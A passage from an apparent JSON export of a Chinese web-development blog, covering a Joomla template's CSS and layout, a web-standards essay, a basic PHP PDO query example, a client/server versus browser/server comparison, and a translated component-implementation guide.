name=\u0026#8221;footer\u0026#8221; /\u0026gt;\n\u0026lt;/div\u0026gt;\u0026lt;!\u0026#8211; 底部 通常放版权信息的位置 \u0026#8211;\u0026gt;\n\u0026lt;/div\u0026gt;\n\u0026lt;/div\u0026gt;\n\u0026lt;div id=\u0026#8221;bottom\u0026#8221;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;!\u0026#8211; 页面边框底部 \u0026#8211;\u0026gt;\n\u0026lt;/body\u0026gt;\n\u0026lt;/html\u0026gt;\n","permalink":"https://hessian.cn/p/362.html","summary":"body {\nmargin: 0px;\nbackground:#666666 url(../images/bg.jpg) repeat-y scroll center;\ncolor:#cccc99;\nfont-size:12px;\nfont-family: Arial, PMingLiU, Sans-Serif;\n}\na:link, a:visited {\ncolor:#cccc33;\ntext-decoration: none;\nfont-weight: normal;\n}\na:hover{color:#ff6600;text-decoration: underline;}\n#wrap{\nmargin:0 auto;\n}\n#header{\nmin-height:90px;\n}\n#headercnt{\nposition: relactive;\ntop:10px;\nheight:70px;\noverflow:hidden;\n}\n#mainbox{\nmargin:0 auto;\nwidth:700px;\n}\n#logo {\nposition: relactive;\nleft: 0;\ntop: 0;\nfloat: left;\nwidth: 200px;\nheight: 75px;\nbackground: url(../images/jeek-logo.gif) 0 0 no-repeat;\nmargin-left: 15px;\nmargin-top: 5px;\n}\n#tabarea{\nmargin:0 auto;\nwidth:100%;\nmin-height:24px;\nbackground:url(../images/heading.gif);\nbackground-repeat:repeat-x;\ntext-align: center;\n}\n#tabarea ul {\nmargin: 0;\npadding: 0;\nlist-style:none;\n}#tabarea li {\nfloat: left;\npadding:0;\nmargin: 4px 0px 0px 15px;\nfont-size:14px;\n}\n#tabarea li a{\ncolor:#ffff00;\nfont-weight:bold;\n}\n#patharea{\nmargin:0 auto;\nwidth:100%;\nmin-height:22px;\nbackground-color:#333300;\ntext-align: left;\n}\n#patharea .breadcrumbs{\nfloat:left;\nwidth:72%;\nmargin-left:15px;\n}\n#pathRight{\nmargin:0 auto;\nfloat:left;\nwidth:25%;\nbackground-color:#333300;\ntext-align: left;\n}\n#pathRight #mod_search_searchword{\nfont-size:12px;\npadding:0;\nmargin:2px;\ncolor:#999999;\nbackground:#333300;\nwidth:140px;\nheight:14px;\nborder-top:solid 1px #666666;\nborder-left:solid 1px #666666;\nborder-right:solid 1px #cccccc;\nborder-bottom:solid 1px #cccccc;\n}\n#pathRight .button{\nfont-size:12px;\npadding:0;\nheight:16px;\nmargin:0px;\ncolor:#999999;\nbackground:#333300;\nborder-top:solid 1px #cccccc;\nborder-left:solid 1px #cccccc;\nborder-right:solid 1px #666666;\nborder-bottom:solid 1px #666666;\n}\n#bodybox{\nclear:both;\n}\n#leftcol{\nfloat:left;\ntext-align:left;\nmargin:0px;\nwidth:25%;\n}\n#leftcol table{\nmargin:0 0 10px 10px;\nwidth:100%;\ntext-align:left;\n}\n#mod_login_username,#mod_login_password{\nwidth:85%;\nheight:14px;\ncolor:gray;\nborder:dotted 1px;\nbackground:#663333;\n}\n#leftcol .poll{\nmargin:0 0 10px 5px;\nwidth:100%;\ntext-align:left;\n}\n#leftcol ul{\nmargin:0;\npadding:0 0 10px 10px;\nlist-style-position:inside;\n}\n#leftcol li{\nwidth:90%;\nheight:14px;\noverflow:hidden;\n}\n#maincol{\nfloat:left;\nmargin:0px;\nwidth:73%;\nmin-height:600px;\ntext-align:left;\nborder-left:dashed 1px #999999;\n}\n#system-message{\nborder:solid 4px #660000;\nbackground:yellow;\ncolor:red;\nfont-weight:bold;\npadding-left:10px;\n}\n#bigbox{\nwidth:98%;\nmargin-left:3px;\nfloat:left;\n}\n#boxtop{\nborder-bottom:dashed 1px #999999;\nfloat:left;\nwidth:100%;\n}\n#boxtop ul{\nlist-style-position:inside;\nmargin:5px 0 5px 5px;\npadding:0 0 0 5px;\n}\n#boxtop li{\nwidth:90%;\nheight:14px;\noverflow:hidden;\n}\n#boxtop_l{\nwidth:50%;\npadding-top:5px;\nfloat:left;\n}\n#boxtop_r{\nwidth:49%;\npadding-top:5px;\nfloat:left;\nborder-left:dashed 1px #999999;\n}\n#boxmiddle{\nfloat:left;\n}\n.pagination span{\nmargin-left:4px;\n}\n.pagination a{\nmargin-left:4px;\n}\n#footer{\ncolor:gray;\nclear:both;\nborder-top:solid 1px black;\n}\n#footer #line{\nwidth:100%;\nclear:both;\nheight:15px;\nborder-top:solid 1px #999999;\n}\n\u0026lt;?php\n/**\n* @copyright Copyright (C) 2005 \u0026#8211; 2007 Open Source Matters. All rights reserved.\n* @license GNU/GPL, see LICENSE.php\n* Joomla! is free software. This version may have been modified pursuant\n* to the GNU General Public License, and as distributed it includes or\n* is derivative of works licensed under the GNU General Public License or\n* other free or open source software licenses.\n* See COPYRIGHT.php for copyright notices and details.\n*/\n?\u0026gt;\n\u0026lt;!DOCTYPE html PUBLIC \u0026#8220;-//W3C//DTD XHTML 1.0 Transitional//EN\u0026#8221; \u0026#8220;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\u0026#8221;\u0026gt;\n\u0026lt;html xmlns=\u0026#8221;http://www.w3.org/1999/xhtml\u0026#8221; xml:lang=\u0026#8221;\u0026lt;?php echo $this-\u0026gt;language; ?\u0026gt;\u0026#8221; lang=\u0026#8221;\u0026lt;?php echo $this-\u0026gt;language; ?\u0026gt;\u0026#8221; \u0026gt;\n\u0026lt;head\u0026gt;\n\u0026lt;jdoc:include type=\u0026#8221;head\u0026#8221; /\u0026gt;\n\u0026lt;link href=\u0026#8221;templates/\u0026lt;?php echo $this-\u0026gt;template ?\u0026gt;/css/test.css\u0026#8221; rel=\u0026#8221;stylesheet\u0026#8221; type=\u0026#8221;text/css\u0026#8221; /\u0026gt;\n\u0026lt;/head\u0026gt;\n\u0026lt;body\u0026gt;\n\u0026lt;div id=\u0026#8221;top\u0026#8221;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;!\u0026#8211; 页面边框头部 \u0026#8211;\u0026gt;\n\u0026lt;div id=\u0026#8221;wrap\u0026#8221; align=\u0026#8221;center\u0026#8221;\u0026gt;\n\u0026lt;div id=\u0026#8221;mainbox\u0026#8221;\u0026gt;\n\u0026lt;div id=\u0026#8221;header\u0026#8221;\u0026gt;\n\u0026lt;div id=\u0026#8221;logo\u0026#8221;\u0026gt;\u0026lt;/div\u0026gt;\n\u0026lt;div id=\u0026#8221;headcnt\u0026#8221;\u0026gt;\n\u0026lt;jdoc:include type=\u0026#8221;modules\u0026#8221; name=\u0026#8221;headerContent\u0026#8221; /\u0026gt;\n\u0026lt;/div\u0026gt;\n\u0026lt;/div\u0026gt;\n\u0026lt;div id=\u0026#8221;tabarea\u0026#8221; align=\u0026#8221;center\u0026#8221;\u0026gt;\n\u0026lt;div id=\u0026#8221;navbar\u0026#8221;\u0026gt;\n\u0026lt;jdoc:include type=\u0026#8221;modules\u0026#8221; name=\u0026#8221;tabArea\u0026#8221; /\u0026gt;\n\u0026lt;/div\u0026gt;\n\u0026lt;/div\u0026gt;\n\u0026lt;div id=\u0026#8221;patharea\u0026#8221;\u0026gt;\n\u0026lt;jdoc:include type=\u0026#8221;modules\u0026#8221; name=\u0026#8221;pathArea\u0026#8221; /\u0026gt;\n\u0026lt;div id=\u0026#8221;pathRight\u0026#8221;\u0026gt;\n\u0026lt;jdoc:include type=\u0026#8221;modules\u0026#8221; name=\u0026#8221;pathRight\u0026#8221; /\u0026gt;\n\u0026lt;/div\u0026gt;\n\u0026lt;/div\u0026gt;\n\u0026lt;div id=\u0026#8221;bodybox\u0026#8221;\u0026gt;\n\u0026lt;div id=\u0026#8221;framehead\u0026#8221;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;!\u0026#8211; 正文部分边框头 \u0026#8211;\u0026gt;\n\u0026lt;div id=\u0026#8221;leftcol\u0026#8221;\u0026gt;\n\u0026lt;jdoc:include type=\u0026#8221;modules\u0026#8221; name=\u0026#8221;leftColum\u0026#8221; /\u0026gt;\n\u0026lt;/div\u0026gt;\n\u0026lt;div id=\u0026#8221;maincol\u0026#8221;\u0026gt;\n\u0026lt;div id=\u0026#8221;bigbox\u0026#8221;\u0026gt;\n\u0026lt;jdoc:include type=\u0026#8221;message\u0026#8221; /\u0026gt;\n\u0026lt;?php if($this-\u0026gt;countModules(\u0026#8216;boxTopLeft or boxTopRight\u0026#8217;)): ?\u0026gt;\n\u0026lt;div id=\u0026#8221;boxtop\u0026#8221;\u0026gt;\n\u0026lt;?php if($this-\u0026gt;countModules(\u0026#8216;boxTopLeft\u0026#8217;)): ?\u0026gt;\n\u0026lt;div id=\u0026#8221;boxtop_l\u0026#8221;\u0026gt;\u0026lt;jdoc:include type=\u0026#8221;modules\u0026#8221; name=\u0026#8221;boxTopLeft\u0026#8221; /\u0026gt;\u0026lt;/div\u0026gt;\n\u0026lt;?php endif; ?\u0026gt;\n\u0026lt;?php if($this-\u0026gt;countModules(\u0026#8216;boxTopRight\u0026#8217;)): ?\u0026gt;\n\u0026lt;div id=\u0026#8221;boxtop_r\u0026#8221;\u0026gt;\u0026lt;jdoc:include type=\u0026#8221;modules\u0026#8221; name=\u0026#8221;boxTopRight\u0026#8221; /\u0026gt;\u0026lt;/div\u0026gt;\n\u0026lt;?php endif; ?\u0026gt;\n\u0026lt;/div\u0026gt;\n\u0026lt;?php endif; ?\u0026gt;\n\u0026lt;div id=\u0026#8221;boxmiddle\u0026#8221;\u0026gt;\n\u0026lt;jdoc:include type=\u0026#8221;modules\u0026#8221; name=\u0026#8221;boxMiddle\u0026#8221; /\u0026gt;\n\u0026lt;jdoc:include type=\u0026#8221;component\u0026#8221; /\u0026gt;\n\u0026lt;/div\u0026gt;\n\u0026lt;div id=\u0026#8221;boxbottom\u0026#8221;\u0026gt;\u0026lt;jdoc:include type=\u0026#8221;modules\u0026#8221; name=\u0026#8221;boxBottom\u0026#8221; /\u0026gt;\u0026lt;/div\u0026gt;\n\u0026lt;/div\u0026gt;\n\u0026lt;/div\u0026gt;\n\u0026lt;div id=\u0026#8221;framefoot\u0026#8221;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;!\u0026#8211; 正文部分边框底部 \u0026#8211;\u0026gt;\n\u0026lt;/div\u0026gt;\n\u0026lt;div id=\u0026#8221;footer\u0026#8221;\u0026gt;\n\u0026lt;div id=\u0026#8221;line\u0026#8221;\u0026gt;\u0026lt;/div\u0026gt;\n\u0026lt;jdoc:include type=\u0026#8221;modules\u0026#8221; name=\u0026#8221;footer\u0026#8221; /\u0026gt;\n\u0026lt;/div\u0026gt;\u0026lt;!\u0026#8211; 底部 通常放版权信息的位置 \u0026#8211;\u0026gt;\n\u0026lt;/div\u0026gt;\n\u0026lt;/div\u0026gt;\n\u0026lt;div id=\u0026#8221;bottom\u0026#8221;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;!\u0026#8211; 页面边框底部 \u0026#8211;\u0026gt;\n\u0026lt;/body\u0026gt;\n\u0026lt;/html\u0026gt;\n","title":"[原创]JOOMLA模板一例"},{"content":"看来基本上得到大家的认可，关于分歧的部分和没有讲到的部分我们在深入探讨，\nCSS的并发连接和服务器负载问题处理，也应该是web标准认识关心的。\n到底SEO，IA，交互设计，用户体验算不算是Web标准的范畴，我明确一点\n\u0026ldquo;用正确的方法去做正确的网页\u0026rdquo;\n正确的网页是什么\n1。优秀的信息架构\n2。良好的交互设计\n1和2最终达到了良好的用户体验\n正确的方法是什么\n1。标准的语言规范，XHTML，CSS，ECMAScript （标准的Javascript），DOM，XML，XMLHTTPRequest，甚至XSL等W3C的标准化规范语言\n2。浏览器设备的支持情况的权衡以及解决方法\n3。海量用户访问是的服务器负载\n最终用户得到了良好的用户体验，搜索引擎得到了你想Open的数据，结果很完美！！\n关于web标准，我建议大家不要停留在老外们的思维角度，要去消化他而不是模仿他，要站在巨人的肩膀上看得更远，不管什么技术，什么口号，什么方法，我的目的只有一个\u0026mdash;\u0026mdash;我们要做到网页的最优化\n","permalink":"https://hessian.cn/p/459.html","summary":"看来基本上得到大家的认可，关于分歧的部分和没有讲到的部分我们在深入探讨，\nCSS的并发连接和服务器负载问题处理，也应该是web标准认识关心的。\n到底SEO，IA，交互设计，用户体验算不算是Web标准的范畴，我明确一点\n","title":"[转] 关于到底什么是 WEB标准"},{"content":"\u0026lt;?php\n$hostname\u0026nbsp;\u0026nbsp;\u0026nbsp; =\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026quot;localhost\u0026quot;;\u0026nbsp;\u0026nbsp;\u0026nbsp; //指定主机名\n$database\u0026nbsp;\u0026nbsp;\u0026nbsp; =\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026quot;db_book\u0026quot;;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; //指定数据库名称\n$usernmae\u0026nbsp;\u0026nbsp;\u0026nbsp; =\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026quot;root\u0026quot;;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; //指定用户名\n$password\u0026nbsp;\u0026nbsp;\u0026nbsp; =\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026quot;44444\u0026quot;;\u0026nbsp;\u0026nbsp;\u0026nbsp; //指定密码\n$dsn = \u0026quot;mysql:dbname=\u0026quot; . $database . \u0026quot;;host=\u0026quot; . $hostname;\n//数据源描述\ntry {\n\u0026nbsp;\u0026nbsp;\u0026nbsp; $conn\u0026nbsp;\u0026nbsp;\u0026nbsp; =\u0026nbsp;\u0026nbsp;\u0026nbsp; new PDO($dsn,$usernmae,$password);\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; //创建PDO对象 参数 : 数据源,用户名,密码\n}\ncatch (PDOException $e) {\n\u0026nbsp;\u0026nbsp;\u0026nbsp; echo \u0026quot;Connecting failed: \u0026quot; . $e-\u0026gt;getMessage();\n\u0026nbsp;\u0026nbsp;\u0026nbsp; //抛出异常\n}\n$sql = \u0026quot;select * from tb_books\u0026quot;;\n//查询字符串\necho \u0026quot;\u0026lt;pre\u0026gt;\u0026quot;; //使用文本格式输出\n$conn-\u0026gt;setAttribute(PDO::ATTR_CASE, PDO::CASE_LOWER); //使用小写键名 UPPER就是大写\n$rs = $conn-\u0026gt;prepare($sql);\n//这个函数我理解应该是个用来建立类似持久连接的函数吧\n$rs-\u0026gt;execute();\u0026nbsp;\u0026nbsp;\u0026nbsp; //这是一个可以带参数的函数,可使用变量替换查询时语句的特定标识\n//如果不带参数则直接执行语句\n//可以提高查询效率 具体看参考手册的介绍 PDO Functions 章节\nwhile ($row = $rs-\u0026gt;fetch(PDO::FETCH_ASSOC)) {\n\u0026nbsp;\u0026nbsp;\u0026nbsp; //FETCH_ASSOC 是限定返回的结果只有 关联字段名 否则会同时返回 字段序号和关联字段名\n\u0026nbsp;\u0026nbsp;\u0026nbsp; //浪费资源,使用关联字段名易于操作,同 mysql_fetch_assoc\n\u0026nbsp;\u0026nbsp;\u0026nbsp; print_r($row);\n};\necho \u0026quot;\u0026lt;/pre\u0026gt;\u0026quot;;\n?\u0026gt;\n","permalink":"https://hessian.cn/p/590.html","summary":"\u0026lt;?php\n$hostname\u0026nbsp;\u0026nbsp;\u0026nbsp; =\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026quot;localhost\u0026quot;;\u0026nbsp;\u0026nbsp;\u0026nbsp; //指定主机名\n$database\u0026nbsp;\u0026nbsp;\u0026nbsp; =\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026quot;db_book\u0026quot;;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; //指定数据库名称\n$usernmae\u0026nbsp;\u0026nbsp;\u0026nbsp; =\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026quot;root\u0026quot;;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; //指定用户名\n$password\u0026nbsp;\u0026nbsp;\u0026nbsp; =\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026quot;44444\u0026quot;;\u0026nbsp;\u0026nbsp;\u0026nbsp; //指定密码\n$dsn = \u0026quot;mysql:dbname=\u0026quot; . $database . \u0026quot;;host=\u0026quot; . $hostname;\n//数据源描述\ntry {\n\u0026nbsp;\u0026nbsp;\u0026nbsp; $conn\u0026nbsp;\u0026nbsp;\u0026nbsp; =\u0026nbsp;\u0026nbsp;\u0026nbsp; new PDO($dsn,$usernmae,$password);\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; //创建PDO对象 参数 : 数据源,用户名,密码\n}\ncatch (PDOException $e) {\n\u0026nbsp;\u0026nbsp;\u0026nbsp; echo \u0026quot;Connecting failed: \u0026quot; . $e-\u0026gt;getMessage();\n\u0026nbsp;\u0026nbsp;\u0026nbsp; //抛出异常\n}\n","title":"[原创] PDO 的简单使用"},{"content":"C/S 与 B/S 区别\nClient/Server是建立在局域网的基础上的.Browser/Server是建立在广域网的基础上的.\n１．硬件环境不同:\nC/S 一般建立在专用的网络上, 小范围里的网络环境, 局域网之间再通过专门服务器提供连接和数据交换服务.\nB/S 建立在广域网之上的, 不必是专门的网络硬件环境,例与电话上网, 租用设备. 信息自己管理. 有比C/S更强的适应范围, 一般只要有操作系统和浏览器就行\n２．对安全要求不同\nC/S 一般面向相对固定的用户群, 对信息安全的控制能力很强. 一般高度机密的信息系统采用C/S 结构适宜. 可以通过B/S发布部分可公开信息.\nB/S 建立在广域网之上, 对安全的控制能力相对弱, 面向是不可知的用户群.\n３．对程序架构不同\nC/S 程序可以更加注重流程, 可以对权限多层次校验, 对系统运行速度可以较少考虑.\nB/S 对安全以及访问速度的多重的考虑, 建立在需要更加优化的基础之上. 比C/S有更高的要求 B/S结构的程序架构是发展的趋势, 从MS的.Net系列的BizTalk 2000 Exchange 2000等, 全面支持网络的构件搭建的系统. SUN 和IBM推的JavaBean 构件技术等,使 B/S更加成熟.\n４．软件重用不同\nC/S 程序可以不可避免的整体性考虑, 构件的重用性不如在B/S要求下的构件的重用性好.\nB/S 对的多重结构,要求构件相对独立的功能. 能够相对较好的重用.就入买来的餐桌可以再利用,而不是做在墙上的石头桌子\n５．系统维护不同\n系统维护是软件生存周期中,开销大, \u0026#8212;\u0026#8212;-重要\nC/S 程序由于整体性, 必须整体考察, 处理出现的问题以及系统升级. 升级难. 可能是再做一个全新的系统\nB/S 构件组成,方面构件个别的更换,实现系统的无缝升级. 系统维护开销减到最小.用户从网上自己下载安装就可以实现升级.\n６．处理问题不同\nC/S 程序可以处理用户面固定, 并且在相同区域, 安全要求高需求, 与操作系统相关. 应该都是相同的系统\nB/S 建立在广域网上, 面向不同的用户群, 分散地域, 这是C/S无法作到的. 与操作系统平台关系最小.\n７．用户接口不同\nC/S 多是建立的Window平台上,表现方法有限,对程序员普遍要求较高\nB/S 建立在浏览器上, 有更加丰富和生动的表现方式与用户交流. 并且大部分难度减低,减低开发成本.\n８．信息流不同\nC/S 程序一般是典型的中央集权的机械式处理, 交互性相对低\nB/S 信息流向可变化, B-B B-C B-G等信息、流向的变化, 更象交易中心\n","permalink":"https://hessian.cn/p/498.html","summary":"C/S 与 B/S 区别\nClient/Server是建立在局域网的基础上的.Browser/Server是建立在广域网的基础上的.\n１．硬件环境不同:\nC/S 一般建立在专用的网络上, 小范围里的网络环境, 局域网之间再通过专门服务器提供连接和数据交换服务.\nB/S 建立在广域网之上的, 不必是专门的网络硬件环境,例与电话上网, 租用设备. 信息自己管理. 有比C/S更强的适应范围, 一般只要有操作系统和浏览器就行\n２．对安全要求不同\nC/S 一般面向相对固定的用户群, 对信息安全的控制能力很强. 一般高度机密的信息系统采用C/S 结构适宜. 可以通过B/S发布部分可公开信息.\nB/S 建立在广域网之上, 对安全的控制能力相对弱, 面向是不可知的用户群.\n３．对程序架构不同\nC/S 程序可以更加注重流程, 可以对权限多层次校验, 对系统运行速度可以较少考虑.\nB/S 对安全以及访问速度的多重的考虑, 建立在需要更加优化的基础之上. 比C/S有更高的要求 B/S结构的程序架构是发展的趋势, 从MS的.Net系列的BizTalk 2000 Exchange 2000等, 全面支持网络的构件搭建的系统. SUN 和IBM推的JavaBean 构件技术等,使 B/S更加成熟.\n４．软件重用不同\nC/S 程序可以不可避免的整体性考虑, 构件的重用性不如在B/S要求下的构件的重用性好.\nB/S 对的多重结构,要求构件相对独立的功能. 能够相对较好的重用.就入买来的餐桌可以再利用,而不是做在墙上的石头桌子\n５．系统维护不同\n系统维护是软件生存周期中,开销大, \u0026#8212;\u0026#8212;-重要\nC/S 程序由于整体性, 必须整体考察, 处理出现的问题以及系统升级. 升级难. 可能是再做一个全新的系统\nB/S 构件组成,方面构件个别的更换,实现系统的无缝升级. 系统维护开销减到最小.用户从网上自己下载安装就可以实现升级.\n６．处理问题不同\nC/S 程序可以处理用户面固定, 并且在相同区域, 安全要求高需求, 与操作系统相关. 应该都是相同的系统\nB/S 建立在广域网上, 面向不同的用户群, 分散地域, 这是C/S无法作到的. 与操作系统平台关系最小.\n７．用户接口不同\nC/S 多是建立的Window平台上,表现方法有限,对程序员普遍要求较高\nB/S 建立在浏览器上, 有更加丰富和生动的表现方式与用户交流. 并且大部分难度减低,减低开发成本.\n８．信息流不同\nC/S 程序一般是典型的中央集权的机械式处理, 交互性相对低\nB/S 信息流向可变化, B-B B-C B-G等信息、流向的变化, 更象交易中心\n","title":"C/S 与 B/S 区别"},{"content":"中科永联高级技术培训中心（www.itisedu.com）\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 构件是系统中实际存在的可更换部分，它实现特定的功能，符合一套接口标准并实现一组接口。构件代表系统中的一部分物理实施，包括软件代码（源代码、二进制代码或可执行代码）或其等价物（如脚本或命令文件）。在图中，构件表示为一个带有标签的矩形。\n部署构件的示例\n可执行文件 例如 .exe 文件 链接库 例如 .dll 文件 Applet 例如 Java 中的 .class 文件 Web 页面 例如 .htm 和 .html 文件 数据库表 工作产品构件的示例\n源代码文件 例如 C++ 和 CORBA IDL 中的 .h、.cpp 和 .hpp 文件，或 Java 中的 .java 文件 二进制文件 例如链接到可执行文件的 .o 文件和 .a 文件。 SOM 文件 IDL 和一些绑定 编译文件 例如 UNIX 中的 makefile 使用\n设计中的类和对象被作为部署构件进行实施。您需要确定如何将设计类映射为代码；这应该在项目专用的设计指南中有所说明。\n有关如何将设计类映射为代码的详细信息，请参见活动：实施构件。另请参见指南：类。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 实施构件与修改构件在项目的配置管理环境中进行。实施员在为他们提供的专用开发工作区（请参见活动：创建开发工作区）中，按照工件：工作单所指定的内容开展工作。在该工作区中，创建源元素并将其置于配置管理之下，或者在通常的检出、编辑、构建、单元测试、检入周期中进行修改（请参见活动：进行变更）。完成某个构件集（根据一个或多个工作单的定义以及即将生成的工作版本要求）后，实施员将把有关新的和修改过的构件交付（请参见活动：交付变更内容）到子系统集成工作区，以便与其他实施员的工作进行集成。最后，实施员可以在方便的时候对专用开发工作区进行更新（或者重新调整基线），使该工作区与子系统集成工作区保持一致（请参见活动：更新工作区）。\n当实施类时，应遵循编程指南。\n实施的主要基础是具有公有操作、属性与关联关系的类。务必要注意，并不是所有公有操作、属性与关联关系都在设计过程中定义。\n实施的辅助基础是用例实现，用例实现显示了类和对象如何通过交互来执行用例。\n最好以递增的方式实施类；编译、链接和运行一些回归测试，每天进行三两次。\n在从零开始实施一个类之前，可考虑修改现有的实施类（一般可通过建立子类或进行实例化来修改）。\n实施操作 要实施操作，请执行以下步骤： 选择算法 选择适合算法的数据结构 根据需要定义新的类和操作 编写操作代码 选择算法\n许多操作都十分简单，可以从该操作及其规约中立即实施。\n之所以需要特殊算法，主要是为了实施定义了规约的复杂操作，并优化那些以简单但却低效的算法为定义的操作。\n选择适合算法的数据结构\n选择算法包括选择算法所基于的数据结构。许多实施数据结构是容器类，例如数组、列表、队列、栈、集合、无序单位组，以及这些类的各种不同形式。许多面向对象的语言和编程环境都提供了具有这些可复用构件的类库。\n根据需要定义新的类和操作\n比如，可以使用新类来保存中间结果，也可对类添加新的低级操作来分解复杂操作。通常，这些操作是类的私有操作，所以在类之外看不见这些操作。\n编写操作代码\n要编写操作的代码，可从接口语句开始，例如 C++ 中的成员函数声明、Ada 中的子程序规约或 Visual Basic 中的方法。请遵循编程指南。\n实施构件工作流程明细\n实施状态 对象的状态可通过引用其属性值来实施，而不必作特殊说明。这种对象的状态转移将隐含于变化的属性值中，而变化的行为通过条件语句来编程。 但对于复杂行为，该方法不能令人满意，因为它往往会导致复杂的结构；而当添加更多状态或当行为发生变化时，将很难更改这些结构。\n如果构件（或其组成部分）的行为随状态而定，则通常会有一个或多个状态图来说明组成该构件的模型元素的行为。这些状态图可用作实施过程中的重要输入。有关详细信息，请参见指南：状态图。 状态图中所示的状态机将表现对象的状态，并详尽说明状态转移及所需的行为。可以通过以下几种方法来实施状态机：\n对于简单的状态机，定义一项列举可能状态的属性，然后使用该属性在 Java 或 C++ 中的 switch 语句中选择进入消息的行为。但这种方法不太适用于复杂的状态机，它可能会导致运行时性能降低。如需此方法的示例，请参见 [DOUG98]，第 4 章 4.4.3 对于较复杂的状态机，可使用状态模式。有关状态模式的说明，请参见 [GAM94]。[DOUG98]，第 6 章 6.2.3 状态模式也说明了这种方法 表驱动法对于极复杂的状态机十分有效，其特点是易于变更。当使用这种方法时，各个状态在表中都有相应的条目，这些条目将输入映射到后继状态和相关的转移动作。如需此方法的示例，请参见 [DOUG98]，第 6 章 6.2.3 状态表模式。 要实施具有并行子状态的状态机，可以将状态管理委派给主动对象（每个对象都被委派一个并行子状态），因为并行子状态代表了独立的计算（但仍可能进行交互）。每个子状态均可通过上述方法之一来进行管理。\n通过委托关系复用实施 如果一个类或一个类的某些部分可通过复用现有类来实施，则应通过委托关系（而不要继承）来实现。\n委托表示一个类借助于其他类来得以实施。该类通过使用变量来引用其他类的对象。当调用某操作时，该操作将调用被引用对象（属于被复用的类）中的操作，以实际执行该操作。这样，它就将职责委派给了其他类。\n实施关联关系 单向关联关系将作为指针（包含对象引用的属性）来进行实施。如果多重性为一，则将单向关联关系当作简单指针来实施。如果多重性为多个，则将其当作指针集来实施。但如果\u0026ldquo;多\u0026rdquo;端是有序排列的，则可以使用列表，而不使用集合。\n双向关联关系将作为属性，使用单向关联关系的技术在两个方向上实施。\n限定关联关系将作为限定对象中的查询表（如一个 Smalltalk Dictionary 类）来实施。查询表中的选择器值是限定词，而目标值是另一个类的对象。\n如果必须按顺序访问限定词的值，就应将限定词组织成经过排序的数组或树。在这种情况下，访问时间将与 log N 成比例，其中 N 为限定词值的数目。\n如果限定词取自于一个紧凑的有限集，就可以将限定词的值映射到一个整数范围，并将关联关系当作数组来有效地进行实施。如果关联关系已基本上填满（而不是稀疏填充），此方法会更加有效；而对于完全填满的有限集，它可以算是理想的方法。\n许多面向对象的语言和编程环境都提供了具有可复用构件的类库，可用于实施不同种类的关联关系。\n实施属性 可以作为内置基本变量、可复用的构件类或定义一个新类来实现属性。定义新类通常是较为灵活的方法，但它却会带来不必要的间接性。例如，实施雇员的社会保障号时，既可将它作为类型\u0026ldquo;字符串\u0026rdquo;的属性，也可将它作为一个新类。\n属性的备选实施。\n另一种可能的情况是：属性组组成了新类，如下例所示。这两种实施都是正确的。\n将 Line 中的属性当作 Point 类的关联关系来实施。\n向设计提供反馈 在以上任何步骤中，如果发现了设计错误，都必须向设计提供返工反馈。如果所需的变更较小，就可以由同一个人来设计并实施类，而无需提出正式的变更请求。他可在设计中进行变更。\n如果所需的变更影响到几个类（例如在公有操作中的变更），则应向 CCB（变更控制委员会）提交正式的变更请求。请参见活动：修复缺陷。\n评估代码 在开始单元测试之前，可以先作一些检查。测试是一项花费较多的工作，因此最好先执行以下几项检查： 始终对代码进行编译。将编译器的警告等级设置到最详细的程度。 通过想像对操作进行检查。通读代码，尽可能考虑到所有情况，发现各种异常情况。一旦进行了新的实施活动，就需进行此项工作。 使用工具检查代码中是否存在错误。例如，使用静态代码规则检查程序。 \u0026copy; 1987 \u0026#8211; 2001 Rational Software Corporation。版权所有。 ","permalink":"https://hessian.cn/p/532.html","summary":"中科永联高级技术培训中心（www.itisedu.com）\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 构件是系统中实际存在的可更换部分，它实现特定的功能，符合一套接口标准并实现一组接口。构件代表系统中的一部分物理实施，包括软件代码（源代码、二进制代码或可执行代码）或其等价物（如脚本或命令文件）。在图中，构件表示为一个带有标签的矩形。\n部署构件的示例\n可执行文件 例如 .exe 文件 链接库 例如 .dll 文件 Applet 例如 Java 中的 .class 文件 Web 页面 例如 .htm 和 .html 文件 数据库表 工作产品构件的示例\n源代码文件 例如 C++ 和 CORBA IDL 中的 .h、.cpp 和 .hpp 文件，或 Java 中的 .java 文件 二进制文件 例如链接到可执行文件的 .o 文件和 .a 文件。 SOM 文件 IDL 和一些绑定 编译文件 例如 UNIX 中的 makefile 使用\n设计中的类和对象被作为部署构件进行实施。您需要确定如何将设计类映射为代码；这应该在项目专用的设计指南中有所说明。\n有关如何将设计类映射为代码的详细信息，请参见活动：实施构件。另请参见指南：类。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 